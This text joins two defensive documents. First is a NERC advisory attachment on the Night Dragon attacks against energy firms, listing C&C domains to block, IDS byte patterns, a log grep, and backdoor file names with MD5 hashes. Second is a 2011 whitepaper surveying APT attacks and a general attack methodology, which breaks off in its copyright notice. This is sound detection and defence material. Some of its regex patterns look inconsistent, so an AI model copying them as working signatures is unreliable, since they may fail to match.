Attachment 1 - Night Dragon Specific Protection Measures for Consideration The exploits and methods contained in Night Dragon s attack set are not new or unique to our industry, nor are the approaches or methods to combat it. However NERC issues this Advisory in response to an identified pattern of activity that has been directed against the energy sector. This Advisory communicates specific information and suggested actions for Night Dragon in accordance with standard detection, prevention, and recovery phases of a strong incident response program. The following framework provides two sets of prioritized measures and countermeasures that may be useful to prevent traffic to and from known command and control (C&C) servers and domains, and identify the presence of Night Dragon activity on specific systems. They begin with simple low-cost, low-impact, high-value prevention and detection suggestions, and escalate to more invasive actions should evidence of Night Dragon activity or compromise be found. These actions are based on information available as of February 18, 2011, and while they offer good suggestions to detect and combat Night Dragon, they provide no guarantee that a targeted attack against your systems would be unsuccessful. If you have not already done so, take this opportunity to establish a reporting relationship with ICS CERT and NERC s ES-ISAC for real-time sharing of any new information on this attack set such as additional C&C servers, updated search strings, new variants, etc. Entities should also closely monitor their relevant security vendors for signature updates and detection and removal tools. Some of these measures are invasive and could create problems with operational systems. It is important to understand your technology environment and the impact these tools could have on operational systems prior to any deployment. Primary Protection and Discovery Measures The following three actions are important first steps in detecting and preventing known Night Dragon activity. 1. Apply access control restrictions on all perimeter devices. a. Modify email blacklists and firewall Access Control Lists ACLs to deny, log and alert on traffic to/from the following primary domains used by the known C&C servers. And, according to McAfee 1 all four domains have been used frequently by other Malware so blocking them may be warranted regardless. i. is-a-chef.com ii. thruhere.net iii. office-on-the.net http://www.mcafee.com/us/about/night-dragon.aspx?cid=WBB009 Night Dragon Specific Protection Measures for Consideration iv. selfip.com. b. Modify Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS), and other deep-packet inspection tools to detect and alert on network traffic associated with Night Dragon activity. If detected, validate as malicious and consider blocking the traffic in addition to triggering an alert: i. Each communication packet between compromised hosts and the C&C servers are signed with a plain text signature of hW$. (Or \x68\x57\x24\x13 ) at the byte offset 0x0C within the TCP packet. ii. Backdoor beacon, identified by a 5-second interval with an initial packet with the pattern: \x01\x50[\x00-\xff]+\x68\x57\x24\x13. iii. Beacon acknowledgement with the pattern: \x02\x60[\x00\xff]+\x68\x57\x24\x13. iv. Periodic heartbeat or keep-alive signal with the pattern: \x03\x50[\x00-\xff]+\x68\x57\x24\x13. v. Plaintext password exchange with the pattern: \x03\x50[\x00\xff]+\x68\x57\x24\x13. c. Open source IDS signatures have been made available on a number of open source websites and added to open source rule sets. Some commercially available IDS / IPS signatures have also been updated to include Night Dragon detection. i. CISCO specific information can be found here: http://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=33819&signatureSubId=0 ii. SNORT specific information can be found here: http://www.snort.org/vrt/docs/ruleset_changelogs/2_9_0_4/changes-2011-02-10.html d. Identify and examine any hosts generating suspected Night Dragon traffic and take necessary action to respond and recover. e. Maintain vigil for additions to Night Dragon s C&C server and signature lists and quickly update your defenses accordingly. 2. While there is no patch for Night Dragon, as a preventative measure ensure that security patches on all servers are up to date, especially for external-facing web servers as they are primary attack vectors. 3. Conduct keyword searches or greps of current and archived perimeter logs looking for signs of traffic to/from the known C&C servers (e.g. find is-a-chef.com grep 'is-a-chef.com' /logfilename ). Examine both ICS and corporate network perimeter logs and as far back as possible to the dates recommended by the MacAfee whitepaper. Secondary Protection Measures Night Dragon Specific Protection Measures for Consideration For entities wishing to pursue a more vigorous course of action or if entities discover evidence of Night Dragon activity or compromises using the previous steps, the following actions may be useful in helping to determine compromises at the host level. 1. Review any systems/networks with trust relationships and analyze the active communications paths from those assets. 2. Run host-based automatic detection tools capable of discovering related Malware on all hosts. Examples of free tools include Stinger and the Night Dragon Vulnerability Scanner, available at http://www.mcafee.com/us/downloads/freetools/index.aspx 3. Search systems for the following command and control programs and eliminate as applicable: Filename MD5 Checksum Shell.exe 093640a69c8eafbc60343bf9cd1d3ad3 zwShell.exe 18801e3e7083bc2928a275e212a5590e zwShell.exe 85df6b3e2c1a4c6ce20fc8080e0b53e9 4. A Trojan dropper, which is a delivery mechanism for malware, is commonly used in Night Dragon attacks. It is usually executed through a PSEXEC or an RDP session and may leave valuable forensic information in system event logs. When executed, the dropper creates a temporary file that is reflected in Windows update logs KB*.log files in C:\Windows ). This temporary file may have limited usefulness, as it may disappear if a backdoor is successfully opened. Its lack of existence doesn t guarantee a system is free of infection. 5. A Trojan backdoor may exist as a DLL usually located in the %System%\System32 or %System%\SysWow64 directory. This DLL is a system or hidden file, 19 KB to 23 KB in size, and includes an XOR-encoded data section that is defined by the C&C application when the dropper is created. It includes the network service identifier, registry service key, service description, mutex name, C&C server address, port, and dropper temporary file name. The backdoor may operate from any configured TCP port. 6. Two potential Trojan backdoors: Filename MD5 Checksum startup.dll A6CBA73405C77FEDEAF4722AD7D35D60 connect.dll 6E31CCA77255F9CDE228A2DB9E2A3855 7. And finally, if compromises are suspected or discovered, work closely with your operating system and application vendors to ensure safe and complete eradication. Night Dragon Specific Protection Measures for Consideration Advanced Persistent Threats: A Decade in Review Command Five Pty Ltd June 2011 ABSTRACT This document defines the term Advanced Persistent Threat (APT) in the context of cyber threats and cyber attack. It presents a timeline and summary of prominent cyber attacks likely attributable to APTs over the past decade. Commonalities are identified and assessed in the context of the current cyber threat environment. Trends are used to predict future APT targeting. APT attack methodology is discussed, and, in conclusion, a set of security practices and policies are provided that could help many organisations increase their resilience to APT attack. DEFINITION ADVANCED PERSISTENT THREATS When the term Advanced Persistent Threat (APT) is used in the context of cyber threats (or cyber attack) each component of the term is relevant. Advanced Persistent Threats (APTs) are a well resourced, highly capable and relentless class of hacker increasingly referred to in the media, by IT security companies, victims, and law enforcement. Most hackers target indiscriminately and instead of persisting with a particular target draw their focus to more vulnerable targets. APTs on the other hand are not only well resourced and capable but persistent in their covert attempts to access sensitive information, such as intellectual property, negotiation strategies or political dynamite, from their chosen targets. Advanced The hacker has the ability to evade detection and the capability to gain and maintain access to well protected networks and sensitive information contained within them. The hacker is generally adaptive and well resourced. Persistent The persistent nature of the threat makes it difficult to prevent access to your computer network and, once the threat actor has successfully gained access to your network, very difficult to remove. Threat The hacker has not only the intent but also the capability to gain access to sensitive information stored electronically. The sophistication of APT intrusion attempts varies and likely depends on the attacker objectives, the tools and techniques available to them, and the anticipated ability of their target both to detect and defend against an attack. The activity conducted by APTs is not necessarily sophisticated but the attacker has the ability to upgrade their sophistication in order to gain or maintain access to computer systems of interest. The level of covertness employed may depend on factors such as the anticipated ability of the target to detect the PAGE 1 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. activity, the anticipated response of the target should the targeting be detected, the level of risk the hacker is willing to accept, their timeframe to obtain the desired information and the effects on their longer term goals. The term APT is commonly used in reference to the cyber threat posed by foreign intelligence services, or hackers working on behalf of such entities, but is not limited just to this and can equally be applied to other threat actors such as organised crime syndicates and those involved in traditional espionage. Even though some organised crime syndicates are very well resourced and capable, they are not usually classed as an APT since they are less likely to persist with attempted access to a particular target. The term is not usually used to refer to the threat posed by an individual hacker as they rarely have a sufficient level of resourcing. APTs often target unpublicised vulnerabilities in computer programs or operating systems using zero day exploits 1. Typically only well resourced hackers develop such exploits as they are expensive2, time consuming3, and the vulnerabilities they target may be patched prior to deployment affecting the value of the investment. In addition, zero day exploits are exposed the first time they are used and, if detected, may be less effective in future attacks. As such, zero day exploits are usually only deployed when the hacker has determined that other exploits (that take advantage of publicly known vulnerabilities) will not work on the target, or are not expected to work within an acceptable timeframe. Increased use of a zero day exploit may also be observed if the hacker believes their exploit has been detected or the vulnerability it exposes has become known. This behaviour reflects a desire to maximise the return on their investment before the relevant vulnerability is patched. Zero day exploits are commonly used in combination with social engineering techniques, to exploit vulnerabilities in human nature and make the targeting more effective. Social engineering techniques are also often used to increase the effectiveness of exploits that target known, but unpatched, vulnerabilities. VICTIM REPORTING Many of the organisations targeted by APTs are likely unaware they are among the victims. Those that are aware of attacks against them may not publicly disclose the fact due to concerns about their reputation or share price. Public reports of APT attacks date back to at least 1998, when the Pentagon, National Aeronautics and Space Administration (NASA), the United States (US) Energy Department, research laboratories and private universities were targeted. The past year (2010/2011) has seen an increase in the number of organisations coming forward, admitting they have been targeted. It has also seen an increase in US Securities and Exchange Commission filings warning shareholders about the risks of cyber attack. The majority of companies that have come forward and admitted they are among the victims have not been forthcoming with the details. This is presumably because they do not want to provide the hackers with feedback, or cause further embarrassment to their organisation. It is unfortunate that such potential negative ramifications of detailed reporting are often seen to outweigh the community benefit of sharing lessons learned. 1 A zero day exploit is a computer attack capability that takes advantage of a software flaw before it is known to the public or patched by the vendor, that is, before the first day of public awareness of the flaw; on the zeroth day. 2 On the black market zero day exploits can be worth hundreds of thousands or possibly even millions of dollars. (Moyanhan, 2011) 3 Developing a zero day exploit can take up to several months even from the most expert hackers. (Borders, 2007) PAGE 2 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. TIMELINE OF SIGNIFICANT ATTACKS Through examination of media reports and public announcements a timeline of significant cyber attacks likely attributable to APTs can be drawn as in Figure 1. In several cases a single operation is named to refer to a set of similar intrusions, or intrusion attempts, affecting numerous targets. 1998-2000 Moonlight Maze 2006 US Congressmen 2007 US Congressmen (contd.) Oak Ridge National Laboratory Los Alamos National Laboratory 2008 US Department of Defense Office of His Holiness the Dalai Lama 2009 GhostNet Stuxnet Night Dragon Operation Aurora 2010 Stuxnet (contd.) Australian Resource Sector French Government 2011 French Government (contd.) Canadian Government Australian Government Comodo Affiliated Root Authority Oak Ridge National Laboratory 3 Communications Lockheed Martin Northrop Grumman International Monetary Fund SUMMARY OF SIGNIFICANT ATTACKS March 1998 2000 Moonlight Maze Cyber attacks dubbed Moonlight Maze targeted computers at the Pentagon, NASA, the US Energy Department, research laboratories and private universities. The attackers successfully gained access to tens of thousands of files. (Arquila, 2003) (Central Intelligence Agency, 2007) August 2006 2007 US Congressmen The office computer networks of two congressmen were reportedly compromised. Information is believed to have been stolen about dissidents critical of the Beijing regime. (The Washington Times, 2008) 29 October 2007 Oak Ridge National Laboratory Oak Ridge National Laboratory was successfully targeted using emails that were socially engineered to appear as though they were legitimate official communications. Computers were compromised, as was a database which contained information about visitors to the facility. The hackers are believed to have stolen data from the database. (Oak Ridge National Laboratory, 2007) 9 November 2007 Los Alamos National Laboratory Los Alamos National Laboratory advised all employees of a recent malicious hacking event that affected a small number of computers on the laboratory s unclassified Yellow network. A significant amount of unclassified data was stolen. The attack is believed to have been part of a broader, coordinated attack against US laboratories and other institutions. (Anastasio, 2007) (Snodgrass, 2007) (Goodin, 2007) Early 2008 US Department of Defense The US Department of Defense suffered a significant compromise of both unclassified and classified military computer networks after a foreign intelligence agency placed malicious software on a USB flash drive. The device infected a US military laptop upon insertion. The malicious code then propagated through US networks infecting numerous computers. (Lynn III, 2010) FIGURE 1 TIMELINE OF APT ATTACKS PAGE 3 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. September 2008 Office of His Holiness the Dalai Lama A legitimate email was intercepted in transit to the Office of His Holiness the Dalai Lama (OHHDL) and the attachment replaced with a file containing malicious content. This attack appeared to be part of a concerted effort in which hackers used social engineering techniques to gain access to the OHHDL computer network. The hackers appear to have obtained user passwords through the intrusion and later used these to remotely access the OHHDL mail server. (Nagaraja & Anderson, 2009) 29 March 2009 GhostNet Researchers released a report detailing a cyber espionage operation dubbed GhostNet which infiltrated at least 1295 computers in 103 countries, including those belonging to embassies, South Asian governments and the Dalai Lama. (Secdev, 2009) June 2009 Stuxnet First known targeting of an unnamed organisation occurred using the Stuxnet 4 worm. The organisation was again targeted in March and April 2010. Numerous other organisations, primarily in Iran, were also targeted. The worm appears to have been part of a coordinated effort to reprogram a specific industrial control system, such as a gas pipeline or power plant, likely located in Iran. (Farlliere, O Muchu, & Chien, 2011) (U.S Office of Counterintelligence, 2011) November 2009 Night Dragon Starting in November, coordinated covert and targeted cyber attacks were observed against global oil and petrochemical companies. These attacks, labelled as Night Dragon , used socially engineered emails along with Microsoft Windows operating system vulnerabilities to gain access to computers. Using the access obtained the hackers accessed information on operational oil and gas field production systems and financial documents relating to field exploration and bidding. (McAfee Foundation Professional Services and McAfee Labs, 2011) Mid December 2009 Operation Aurora Google detected a highly sophisticated and targeted attack on Google corporate infrastructure that resulted in the theft of intellectual property. This event is believed to have been part of a coordinated attack, known as Operation Aurora , in which hackers sought source code from Google, Adobe Systems and dozens of other high profile companies. (Drummond, 2010) (Zetter, 2010) 2010 Australian Resource Sector Three major Australian resource sector companies (BHP Billiton, Fortescue Metals Group and Rio Tinto) were targeted by cyber attacks. Targeting of Rio Tinto s computer network occurred around the time of the arrest of Stern Hu in July 2010. (AAP, 2010) December 2010 March 2011 French Government The French Government was successfully targeted by a socially engineered email campaign. Over 150 computers in the French Ministry of Economy and Finance Central Services division were compromised. The hackers were able to remotely control the ministry s computers and retrieve documents for over three months. The hackers sought documents related to the French presidency of the G20 and international economic affairs. (Walid Berissoul et agencies, 2011) (AFP, 2011) January 2011 Canadian Government Canadian Government departments were targeted using emails socially engineered to appear as though they were sent from senior staff members within the departments. The emails contained malicious attachments that compromised Canadian Government computers and resulted in the theft of classified information. (Postmedia News, 2011) February March 2011 Australian Government Australian parliamentary computers were accessed over a period of at least one month. During that time several thousand emails may have been accessed including those of the Australian Prime Minister, Foreign Minister and Defence Minister. (Benson, 2011) 4 The Stuxnet worm is a malicious computer program capable of replicating itself to infect multiple linked computer systems. PAGE 4 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. 15 March 2011 Comodo Affiliated Root Authority 26 May 2011 Northrop Grumman A Comodo affiliated digital certificate Root Authority (RA) was compromised resulting in the issue of fraudulent SSL certificates for the popular domains: mail.google.com, www.google.com, login.yahoo.com, login.skype.com, addons.mozilla.org, login.live.com and global trustee. (Comodo, 2011) Northrop Grumman reportedly shut down remote access to its network without warning and conducted an organisation wide password reset, raising speculation that it had also been targeted using information stolen from RSA. (Kaplan, 2011) 17 March 2011 RSA RSA released a public statement advising that they were recently targeted via socially engineered emails containing malicious attachments that exploited a zero day Adobe Flash vulnerability. Hackers successfully gained access to the network and exfiltrated information including that related to s SecurID two factor authentication products. The stolen information was later used to enable targeting of defence contractors. (Coviello, Open Letter to RSA Customers, 2011) June 2011 International Monetary Fund At least one International Monetary Fund (IMF) computer was compromised in a large and sophisticated cyber attack that involved significant reconnaissance and utilised software written specifically to target the IMF. The compromised computer was used to access internal systems and files. The hackers access could have given them visibility of sensitive economic and political information. (Reddy, Gorman, & Perez, 2011; Sanger & Markoff, 2011) (The Guardian, 2011) Mid April 2011 Oak Ridge National Laboratory Oak Ridge National Laboratory was targeted with socially engineered emails tailored to appear as though they were from the laboratory s Human Resources department. The emails tricked recipients into downloading malicious software that exploited a zero day vulnerability in Internet Explorer. The laboratory shut down all internet access and email systems from April 15 to April 17 to ensure no data was exfiltrated before the infection could be cleaned up. No large scale exfiltration of data is known to have occurred. (Munger, 2011) 6 April 2011 3 Communications An L 3 Communications executive notified employees that the company had been actively targeted leveraging information stolen from RSA the month prior. (gHale, 2011) (Poulsen, 2011) 21 May 2011 Lockheed Martin Lockheed Martin detected a cyber attack on its computer network. The company s information security team took aggressive actions to protect the systems. No exfiltration of data is known to have occurred. RSA has publicly stated that information stolen from it in March was used as an element of the attack on Lockheed Martin. (Lockheed Martin Corporation, 2011) (Coviello, Open Letter to RSA SecurID Customers, 2011) PAGE 5 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. THE CURRENT CYBER THREAT ENVIRONMENT APTs have targeted governments around the world, global oil, energy, and petrochemical companies, the mining sector, financial institutions, military contractors, the science and technology sector, dissidents, critical infrastructure and likely many additional sectors. They have also targeted technology companies that could enable future targeting. The Operation Aurora attacks, the Comodo affiliated RA compromise and the RSA attack set a precedent for such targeting. are the most common social engineering technique used but not the only one. Secondly, it tells us technology companies need to be better prepared to protect sensitive information that can be used to negatively affect the security of their customers and business partners, and undermine the security safeguards put in place. The Aurora attacks appear to have been carried out to provide the attacker with source code and other information that may allow them to develop zero day exploits and rootkits 5 for use on their targets. The certificates generated in the Root Authority attack would likely be of use for future state driven attacks (despite a lone Iranian individual claiming full responsibility for the attack, and stating that there was no government involvement (Kobie, 2011)). The attack against RSA appears to have been conducted to gather sensitive information facilitate attacks against organisations that use RSA security tokens for two factor authentication; including US defence contractors who work on classified projects. Based on the trend toward the targeting of enabling companies and the increasing popularity of virtualisation, VMware Inc. and other virtualisation companies seem likely to be among companies targeted by APTs in the future. If unknown vulnerabilities in VMware software were discovered it could have far reaching ramifications, affecting the security of other companies. Especially given the increased popularity of cloud computing which often uses virtualisation to separate data belonging to different customers. It could also make it easier for malicious software to escape from virtualised analysis platforms and infect connected systems. Even though details of APT attacks are scarce in the media, the released information is quite informative. Firstly, it tells us that humans are often the weakest link in the security chain and that users need to be better educated on the threat from social engineering. Socially engineered email campaigns 5 Rootkits consist of software designed to hide an attacker presence on a computer system. They can change the way malicious programs are seen by the operating system, making it blind to the presence of the malicious programs. PAGE 6 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. TARGET TARGETING METHODS SOCIAL ENGINEERING? ZERO DAYS? DATA STOLEN? CONFIRMED BY TARGET? OAK RIDGE NATIONAL LABORATORY Socially engineered emails Yes (2011) LOS ALAMOS NATIONAL LABORATORIES Socially engineered emails GHOSTNET (VARIOUS TARGETS) Socially engineered emails (primarily) Some targets US DEPARTMENT OF DEFENSE Infected USB drive STUXNET Infected USB drive Network shares SQL databases NIGHT DRAGON (VARIOUS TARGETS) Socially engineered emails (primarily) GOOGLE Socially engineered emails OPERATION AURORA (VARIOUS TARGETS) Socially engineered emails THE FRENCH FINANCE MINISTRY Socially engineered emails CANADIAN GOVERNMENT Socially engineered emails (multiple) Some targets Some targets Some targets AUSTRALIAN GOVERNMENT COMODO AFFILIATE ROOT AUTHORITY Socially engineered emails LOCKHEED MARTIN VPN? 3 COMMUNICATIONS VPN? NORTHROP GRUMMAN VPN? INTERNATIONAL MONETARY FUND FIGURE 2 COMMONALITIES BETWEEN REPORTED ATTACKS PAGE 7 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. ANATOMY OF AN ATTACK Figure 2 shows us that the most common attack vector observed is socially engineered emails frequently, but not always, used in combination with zero day exploits. While most victims do not provide many details about the attacks against them, RSA 6 is one of the few that has provided quite detailed information. The attack methodology observed in the case of RSA appears to be quite typical. The distinct attack phases are shown in simplified form in Figure 3. (Rivner, 2011) techniques to target their intended victim. This may include scanning to determine vulnerabilities, writing malicious code or acquiring code, drafting socially engineered emails, determining which email account to send socially engineered emails from, acquiring necessary hardware (such as USB flash drives), determining what infrastructure to use to launch the attack and for command and control communications, registering for and setting up necessary accounts (email addresses, callback domains etc.) and conducting testing. Targeting Reconnaisance Maintenance Preparation Data Gathering Targeting The attacker launches their attack and monitors for signs of compromise or failure. The sender may attempt to connect remotely to a server to exploit a vulnerability, strategically place a USB flash drive or give one to a target, send socially engineered emails and if possible, check for bounce back notifications, monitor command and control infrastructure for beaconing activity from the victim, try to connect inbound to the potentially compromised computer, or await feedback from an insider. Further Access Further Access FIGURE 3 BASIC APT ATTACK METHODOLOGY Reconnaissance The attacker passively gathers information about their target to identify the best targeting method. This may include research into the location of the target s offices, the location of their computers, technologies used by the company, how they communicate (between offices, with customers, suppliers and shareholders), their employees, their employees contact details, interests and contacts. Preparation The attacker actively prepares for the attack, developing and testing appropriate tools and Once an attacker has successfully gained access to a computer network they will usually try to identify where in the network they are and move laterally within the network to access data of interest and to install additional backdoors. This will usually require a return to step 2 (Preparation) and step 3 (Targeting), the upload of tools and malicious software, privilege escalation, network enumeration and identification of vulnerable hosts on which to install backdoors. It may also involve gaining access to the domain controller to obtain password hashes, covering tracks by altering logs, and accessing mail or file servers to enable data gathering. Data Gathering Once an attacker has identified information of interest they will try to gather this information and exfiltrate it. They may do this using a smash and grab approach, trying to exfiltrate the desired data before it is detected, or they may opt for a low and slow approach in which they exfiltrate the data in small quantities over a longer period. 6 The attack on RSA is described in a blog post on the official RSA blog site; see http://blogs.rsa.com/rivner/anatomy attack/ PAGE 8 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. Maintenance Network Access Restrictions Once an attacker has gained access to a network for information gathering purposes they will usually attempt to maintain their access. This may involve minimising the amount of malicious activity they generate on the network to avoid detection, periodically communicating with backdoors on the network to ensure they are working as intended, and making changes as appropriate. If automated data gathering tools are in use, it may also involve modifying search terms or the exfiltration path, volume or frequency. Maintenance also requires maintaining callback domains and any intermediary infrastructure used to communicate with the backdoors. If access is lost, the attacker may return to step 1 (Reconnaissance) or step 2 (Preparation) in an attempt to regain access. Restrict which computers can be placed on the corporate network via wired, wireless, and remote access methods. IMPROVING ORGANISATIONAL RESILIENCE To improve resilience to APTs organisations should employ good security practices and policies including those described below. Information Centric Security Adopt an information centric approach to security by applying multiple layers of security, affording the most sensitive information the most protection. If possible store sensitive information offline, or on a separate restricted access network. Regular Patching Regularly patch operating systems and applications including document viewers (e.g. Microsoft Office, Adobe Acrobat) and web browser plugins. Known Network Topology Ensure system administrators are aware of the location of all computers, computer equipment and Internet gateways so they can secure the network (including wireless access points and 3G USB modems). USB Drive Control Restrict which USB drives can be used on corporate networks and develop policies on permitted usage and minimum encryption requirements. Intrusion Analysis Conduct intrusion analysis (both host based and network based) to detect anomalous activity. Access Control Employ two factor authentication where possible, particularly on Virtual Private Networks. Restrict user access using least privilege methodology, encourage good password control, regularly audit access logs, and review access levels. Sender Policy Framework Employ the Sender Policy Framework 7 to help protect against spoofed emails. Computer Administration Restrictions Minimise administrative access and restrict access so users do not possess both write and execute privileges for the same folder. User Education Educate users on the threat from socially engineered emails and other forms of social engineering. Encourage users to notify IT staff of suspicious events. 7 The Sender Policy Framework is an open standard specifying a technical method to prevent sender address forgery. (Mehnle, 2010) PAGE 9 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. REFERENCES AAP. (2010, April 19). Mining firms hit by China cyber attack. Retrieved June 13, 2011, from The Sydney Morning Herald: http://www.news.smh.com.au/breaking news national/mining firms china cyber attacks 20100419 spc9.html AFP. (2011, March 07). French government comes under cyber attack. Retrieved June 13, 2011, from The Age: http://news.theage.com.au/breaking news world/french government comes under cyber attack 20110307 1bl8z.html Anastasio, M. (2007, December 06). Los Alamos also hacked. Retrieved June 13, 2011, from Frank Munger's Atomic City Underground: http://blogs.knoxnews.com/munger/2007/12/los_alamos_also_hacked.html Arquila, J. (2003, March 04). Interviews John Arquilla. Retrieved June 13, 2011, from Cyber War! | Frontline | PBS: http://www.pbs.org/wgbh/pages/frontline/shows/cyberwar/interviews/arquilla.html Benson, S. (2011, March 29). Hackers log in to federal MPs' emails. Retrieved June 13, 2011, from The Daily Telegraph: http://www.dailytelegraph.com.au/news/national/hackers federal emails/story e6freuzr 1226029677394 Borders, K. (2007, July 19). Building a Threat Model: Hackenomics (Part 2 The Cost of Hacking). Retrieved June 13, 2011, from StraightSecTalk: http://www.straightsectalk.com/?p=16 Central Intelligence Agency. (2007, May 02). Annual Report 1999 Counterintelligence. Retrieved June 13, 2011, from Central Intellgence Agency: https://www.cia.gov/library/reports/archived reports 1/ann_rpt_1999/dci_annual_report_99_16.html Comodo. (2011, March 31). Comodo Report of Incident. Retrieved June 13, 2011, from Comodo Group Inc.: http://www.comodo.com/Comodo Fraud Incident 2011 23.html Coviello, A. (2011, March 17). Open Letter to RSA Customers. Retrieved June 13, 2011, from RSA: http://www.rsa.com/node.aspx?id=3872 Coviello, A. (2011, June). Open Letter to RSA SecurID Customers. Retrieved June 13, 2011, from RSA: http://www.rsa.com/node.aspx?id=3891 Drummond, D. (2010, January 01). A new approach to China. Retrieved June 13, 2011, from The Official Google Blog: http://googleblog.blogspot.com/2010/01/new approach china.html Farlliere, N., O Muchu, L., & Chien, E. (2011, February). W32.Stuxnet Dossier. Retrieved June 13, 2011, from Symantec: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stux net_dossier.pdf gHale. (2011, June 03). Second Defense Contractor Targeted. Retrieved June 13, 2011, from Industrial Safety and Security Source: htp://www.isssource.com/second defense contractor targeted/ Goodin, D. (2007, December 07). Top secret US labs penetrated by phishers. Retrieved June 13, 2011, from The Register: http://www.channelregister.co.uk/2007/12/07/national_labs_breached/ Kaplan, J. (2011, June 01). Exclusive: Northrop Grumman May Have Been Hit by Cyberattack, Source says. Retrieved June 13, 2011, from Fox News Network: http://www.foxnews.com/scitech/2011/05/31/northrop grumman cyber attack source says/ PAGE 10 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. Kobie, N. (2011, March 29). Lone Iranian claims credit for Comodo certificate hack. Retrieved June 13, 2011, from PC & Tech Authority: http://www.pcauthority.com.au/News/252662,lone iranian claims credit comodo certificate hack.aspx Lockheed Martin Corporation. (2011, May 28). Lockheed Martin Customer, Program and Employee Data Secure. Retrieved June 13, 2011, from Lockheed Martin: http://www.lockheedmartin.com/news/press_releases/2011/0528hq secuirty.html [sic] Lynn III, W. J. (2010, October 04). Defending a New Domain: The Pentagon's Cyberstrategy. Retrieved June 13, 2011, from U.S. Department of Defense: http://defense.gov/home/features/2010/0410_cybersec/lynn article1.aspx McAfee Foundation Professional Services and McAfee Labs. (2011, February 10). Global Energy Cyberattacks: "Night Dragon". Retrieved June 13, 2011, from McAfee: http://www.mcafee.com/us/resources/white papers/wp global energy cyberattacks night dragon.pdf Mehnle, J. (2010, April 17). Sender Policy Framework: Introduction. Retrieved June 13, 2011, from The Sender Policy Framework Project: http://www.openspf.org/Introduction Moyanhan, M. (2011, February 14). The Price of a Zero Day Exploit. Retrieved June 15, 2011, from Veracode, Inc. The State of Software Security: http://www.veracode.com/ceo blog/2011/02/the price zero exploit/ Munger, F. (2011, April 19). Lab halts Web access after cyber attack. Retrieved June 13, 2011, from Knoxville News Sentinel Co.: http://www.knoxnews.com/news/2011/apr/19/lab halts access after cyber attack Nagaraja, S., & Anderson, R. (2009, March). The snooping dragon:social malware surveillance of the Tibetan movement. Retrieved June 13, 2011, from University of Cambridge: http://www.cl.cam.ac.uk/techreports/UCAM 746.html Shishir Nagaraja, Ross Anderson March 2009 Oak Ridge National Laboratory. (2007). Potential Identity Theft. Retrieved June 13, 2011, from Oak Ridge National Laboratory: http://www.ornl.gov/identitytheft/ Postmedia News. (2011, June 03). Classified infromation accessed during cyber attacks on federal departments: Report. Retrieved June 13, 2011, from Postmedia Network Inc: http://www.canada.com/news/Classified+information+accessed+during+cyber+attacks+federal+depart ments+Report/4888892/story.html Poulsen, K. (2011, May 31). Second Defense Contractor L 3 'Actively Targeted' With RSA SecurID Hacks. Retrieved June 13, 2011, from Wired: http://www.wired.com/threatlevel/2011/05/l Reddy, S., Gorman, S., & Perez, E. (2011, June 13). IMF Mum on Details of Network Cyberattack. Retrieved June 13, 2011, from The Wall Street Journal: http://online.wsj.com/article/SB10001424052702304665904576381973865291928.html Rivner, U. (2011, April 01). Anatomy of an Attack. Retrieved June 13, 2011, from Speaking of Security: The Official RSA Blog and Podcast: http://blogs.rsa.com/rivner/anatomy attack/ Sanger, D., & Markoff, J. (2011, June 11). I.M.F Reports Cyberattack Led to 'Very Major Breach'. Retrieved June 13, 2011, from The New York Times: http://www.nytimes.com/2011/06/12/world/12imf.html Secdev. (2009, March 29). Tracking GhostNet: Investigating a Cyber Espionage Network. Retrieved June 13, 2011, from Information Warfare Monitor: http://www.scribd.com/doc/13731776/Tracking GhostNet Investigating Cyber Espionage Network PAGE 11 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. Snodgrass, R. (2007, December 14). Cyber attack on LANL outs personal info. Retrieved June 13, 2011, from LANL: The Rest of the Story: http://lanl rest story.blogspot.com/2007/12/cyber attack lanl outs personal info.html The Guardian. (2011, June 13). IMF hit with serious state sponsored cyber attack. Retrieved June 13, 2011, from The Sydney Morning Herald: http://www.smh.com.au/technology/security/imf with serious statesponsored cyber attack 20110613 lfzm0.html The Washington Times. (2008, June 12). Hacking on Hill traced to China. Retrieved June 13, 2011, from The Washington Times: http://www.washingtontimes.com/news/2008/jun/12/hacking hill traced china/ U.S Office of Counterintelligence. (2011, June 14). Stuxnet Worm. Retrieved June 13, 2011, from Spy and Terrorist Briefing Center: http://www.hanford.gov/oci/ci_spy.cfm?dossier=138 Walid Berissoul et agencies. (2011, March 07). Bercy: la cyber attaque visait le G20. Retrieved June 13, 2011, from Europe1: http://www.europe1.fr/France/Cyber attaque vise selon Bercy 442555/ Zetter, K. (2010, January 14). Google Hack Attack Was Ultra Sophisticated, New Details Show. Retrieved June 13, 2011, from Wired: http://www.wired.com/threatlevel/2010/01/operation aurora/ PAGE 12 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. COPYRIGHT NOTICE Copyright Command Five Pty Ltd. All rights reserved. This document is provided by the copyright holders under the licence that follows. By obtaining, using, and/or distributing this document you agree that you have read, understood, and agree to the terms and conditions that follow. The names and trademarks of Command Five Pty Ltd may not be used in advertising or publicity relating to this document or its contents without specific, prior, written permission. No permission is given for this document to be used for commercial purposes or as part of any commercial activity or undertaking, including, but not limited to, use in or relating to advertising or publicity, and/or use in support of, or as part of, any pre sales or sales activities. No permission is given to create modified or derivative works. You may distribute this document in its original form for non commercial purposes in accordance with the other terms and conditions stated herein. Copyright title will at all times remain with the copyright holders. All referenced trademarks remain the property of their respective owners. THIS DOCUMENT IS PROVIDED AS IS FOR INFORMATIONAL PURPOSES ONLY WITH NO REPRESENTATIONS OR WARRANTIES OF ANY KIND, INCLUDING BUT NOT LIMITED TO ANY WARRANTY, EXPRESS OR IMPLIED, OF MERCHANTABILITY 